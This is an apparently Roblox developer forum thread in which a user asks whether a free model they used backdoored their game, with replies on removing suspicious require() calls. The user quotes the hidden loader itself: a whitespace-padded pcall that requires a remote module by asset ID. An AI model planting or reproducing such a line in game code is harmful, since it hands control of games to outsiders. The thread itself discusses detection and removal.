Is my game backdoored?

I used a free model for a morph, and later I tested out the game multiple times in studio and in the actual game afterwards.

After I was done testing, I looked through the scripts of the model and found this:

--[[ --]]                                                  pcall(function()require(5045142580):Fire()end)

First of all, the sad part is this free model has been used thousands of times by many people so they probably got their game hacked.

Second of all, I researched this and found out that it’s probably a plugin that injects these codes in here, so the person who made the model probably had that virus plugin.

I deleted every line of code that had this pcall function in it. The game is safe now, but I would like to know if my game is still backdoored and hackers can get in?

If you have deleted every line of code there is 0 possible way they could get in, unless you have a fake plugin.


Just find every instance of require(), check to make sure it isnt requiring some sketchy model. If it is, delete the require. Backdoors RAT your game by requiring modulescripts stored safely away from your game. So check those.

Backdoors can come in Fake Plugins such as “Antivirus” as from random models of the toolbox, it is not safe to use these models since they have Scripts very well hidden inside that could encourage you to play because of the codes they have, as well as take control of the same (They do not steal it, but it will be unplayable)